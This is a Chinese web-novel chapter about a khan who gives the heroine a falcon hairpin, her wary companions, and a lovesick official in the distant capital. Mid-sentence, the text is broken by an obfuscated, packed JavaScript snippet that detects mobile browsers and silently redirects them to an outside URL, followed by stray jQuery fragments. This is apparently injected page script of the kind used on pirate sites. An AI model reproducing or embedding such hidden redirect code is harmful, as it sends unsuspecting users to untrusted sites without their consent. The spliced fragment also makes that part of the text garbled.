众人的视线顺着闻人恕的目光落在了应拂雪身上。
面前的少女身穿粗布麻衣,袖口向上卷起,露出小节肌理分明的手腕,她的身量偏纤细,倒是坐得笔直。
先前面对刺客的临危不乱,让镇守此地的将领们对她颇有好感,闻人恕话音一起,便于不少打量的目光暗中凝在她的侧脸。
借着这难得的机会试探闻人恕对两地眼下交好的看法,亦或是从中探听走私案如今的进展,几个念头在应拂雪脑海中过了一遍,又被她一一否决,祀农节人多眼杂,指不定还有叛军的眼线扎根此处,将领们也未必死心塌地,在这里谈论这件事,显然不是个好主意。
应拂雪思绪几转。
“这么紧张做什么。”闻人恕起身,细长的五彩丝线牵连在他身后,他从宽袍大袖中取出个丝帕包裹着的物件,那丝帕用云锦织就,触感柔软如云,价值也自然连城。
应拂雪从前在越城权贵手中见过,锦不仅价钱昂贵,且非身家地位高者不可轻易买到,小小一块便可受尽身边人追捧。
丝帕的边角在闻人恕手中滑落,露出里头装着的鎏金发钗,那发钗上雕的不是寻常鸟雀,而是一只隼,眼眸处点缀了颗极为圆润的珍珠,在眼眶中滚动,栩栩如生。
隼在漠北是吉祥之物,代表争夺的野心,与一击致命的魄力。
那发簪露出全貌之时,将领们之间的气氛一时间有些骚动,对于可汗拿出如此金贵的礼物,将领们意见不一。
但无人敢上前阻止闻人恕。
毕竟闻人恕向来说一不二,事实也能证明,他们的这位可汗,从来没做出过错误的选择。
闻人恕俯身,那丝线拂过应拂雪的手背,带来细密的痒意,漠北人的个子几乎都比较高,闻人恕站在她面前的时候挡住了大部分光线,他打量着应拂雪的头顶,试探着要把簪子戴上去。
“哇哦。”许春笙夸张地捂住嘴巴,难道这就是话本中俊美可汗爱上农户出身的贫苦庶女的故事吗!
“咳咳。”景照放下茶盏。
“可汗自重。”他不咸不淡地瞥过闻人恕面具外露出的下半张脸。
再往乱比划就用碎瓷片把你的脸划花,景照双手交叠面带微笑看着闻人恕,威胁的意味溢于言表。
闻人恕只好保持着眼下的距离为应拂雪戴上了那个鎏金发簪,和应拂雪朴素的打扮比起来有些不伦不类,但少女柔美的脸和光华内敛的气质又莫名与其适配。
边恒在看见那枚簪子时几不可察地皱起眉。
“这是信物,见它如见我。”初次见面就送这般贵重的礼物难免让人怀疑别有用心,应拂雪亦是如此。
她伸手想要摘下簪子,被闻人恕伸手按了回去。
“今日捉拿刺客有功。”他道,“从大殷远道而来的客人,这是漠北的君主对你在祀农节这个神明眷顾的日子里受到惊吓的补偿。”
“愿漠北与大殷维系长久的和平。”闻人恕表达了自己的态度,无论是否真心,但此刻当着亲信的面,当着应拂雪这个大殷来的普通人,应拂雪愿意相信。
她抬头看着闻人恕,用几乎是耳语的声音问道:“可汗认识景照么?”
应拂雪原以为景照听不见,但习武之人的耳力远好于普通人,景照端起茶盏的动作一顿,他并未侧头看去,却放轻了呼吸。
“景公子么......”闻人恕拉长了声线,故意要吊人胃口,半晌才施施然道,“多年前我去大殷拜访时,曾被景公子骗过几两银子。”
应拂雪拉开自己与闻人恕之间的距离:“像可汗大人这般英明神武的人也会被他骗到吗?”
与其相信闻人恕的这句话,应拂雪不如相信粮种是被她走私的,或者相信景照是个绝顶靠谱的殷朝大官。
景的确是殷朝大姓,但景家身为世家大族,一向以克己守礼为家规,教养出来的嫡系大多在官场中担任谏臣,想来不会有景照此等混不吝的子嗣。
并且景家此辈以朝字为名,族中并无单字为名之人。
“当然。”显然,闻人恕的脸皮厚度超过了应拂雪的想象,或者说英明神武的可汗大人因同景照熟识,也被传染了睁着眼睛说瞎话的本事,他面不改色地回答道,“可汗大人也会有马失前蹄的时候,但几两银子比起身家性命来说,只是个小小的损失。因此本王暂时不打算原地惩处这个混迹江湖的惯犯,不过应姑娘总是与他待在一处的话,还是要小心。”
这话倒是说得没错,景照不可信。
这段时间应拂雪有些对他过于放松了。
察觉到应拂雪的态度变化,景照手中的那杯茶彻底喝不下去了,他倾身越过了半张小几。
“日久见人心啊。”景照委屈道,“我们一起呆了这么久,你怎么能随便相信外人的话呢!”
应拂雪沉默片刻,回答:“可是他说的很有道理。”
应拂雪眨眨眼,被两个人围在中间。
“阿雪。”景照趴在了小几上,指尖轻轻点在应拂雪平白的手背上,和心跳一样的频率,“你好狠心。”
“这怎么能算狠心呢?”闻人恕反唇相讥,“只能说明应姑娘有防人之心,极为聪慧。”
应拂雪点点头,表示自己对闻人恕的赞成。
景照捂住胸口:“心气郁结,阿雪,哥哥头疼,要不我们走吧。”
头疼应该捂住头,应拂雪想。
但此行目的已经达到,还赚了些,只需要寻个合适的时机在祀农节将要结束之时,暗中找闻人恕聊一聊就可以。
再留下去也无甚意义,正好借着这个理由脱身。
应拂雪故作为难:“可汗大人......”
闻人恕也正看景照不耐烦,虽然应拂雪的性子他挺喜欢,但总会再见的,不是吗?
“边恒,那就送送三位。”闻人恕背对着他们走回主位,不忘补充道,“应姑娘记得带景公子看看脑子,可别疼晕过去才好。”
应拂雪正起身,景照喊着头疼,非要应
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17568377|204842||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
拂雪搀他一把,他晃了晃,把头搭在了应拂雪颈窝里。
“你才脑子有病。”景照低声偷偷回敬。
温热的呼吸随着说话的动作扑撒在应拂雪敏感的脖颈上,她勉强控制住要把景照甩出去的想法,可景照仍旧不满足,毛茸茸的脑袋还在往应拂雪衣领处磨蹭。
应拂雪垂手掐了景照小臂一把。
“老实点。”她警告。
景照没再乱动了。
“多谢可汗大人提醒。”应拂雪手动替景照闭上了他的嘴,顺便扯了扯几分钟前就看呆了的许春笙。
这种二男争一女的画面,许春笙只在学堂的孩子们过家家时见过,只因被争夺的那个女孩拥有唯一可用来充当“孩子”的布偶。
她愣愣跟着应拂雪出去,还沉浸在见证了惊天秘闻的震惊中。
边恒一路送他们下楼,也没说回见,直接扭头就消失在了阴影里。
“没礼貌的臭脸小孩。”人一走,景照的脸就被应拂雪无情推开,他只好长出了骨头似的站直了。
景照在许春笙面前打了个响指:“回神了。”
许春笙打了个激灵,尴尬地笑笑。
她看了眼天色,主动道:“时辰尚早,祀农节会持续至午夜时分,两位初来永宁,要不我带你们去逛逛吧。”
明眼人都能看出景照方才的告病是请辞之言,此时活蹦乱跳的,并没有什么要去看大夫的必要。
“那就麻烦许姑娘了。”
景照替应拂雪应下了,他轻轻撞了下应拂雪的肩:“不要总是愁眉苦脸的,船到桥头自然直。”
应拂雪想了想回道:“但愿如此。”
——
千里之外的殷朝京都。
京都的月亮并未因为少了节日的热闹而变得更为冷清,在越城任职几年的沈知白被调往此处配合调查,一举一动都在帝王的眼线之下,可此番走私幕后人筹谋已久,蛛丝马迹难寻,牢中关押着曾经的义母。
而他惦念着的青梅,远赴漠北杳无踪迹。
所幸漠北的可汗仍旧保持着维系交好的意向,勉强压下了帝王的震怒,不至于让这案子走向无可挽回之地。但这只是暂时的,要是一直查不到线索,没人知道会怎么样。
拂雪,漠北沙土干燥,自幼养在江南无忧无虑的明珠,在那般酷热之地,要遭受怎样的磨难。
沈知白不敢想,浓烈的酒入喉,端庄守职的沈大人从不饮酒,此时却独自盘坐在阁楼喝得酩酊大醉。
他眼前雾蒙蒙一片,最后支撑不住倒了下去,冰凉的木板抵住他的肩背,酒壶中已经空了。
越城的气候温暖宜人,自堤坝修建后,百年未有决堤,百姓知足常乐,应拂雪小时候长得玉雪可爱,第一次来他家中时,沈知白的父亲就教导他,要保护好拂雪妹妹。
可现在,他什么也做不了。
——
在摩肩接踵的氛围中,应拂雪抬起头,在乌云散去后,长久地凝视着月亮。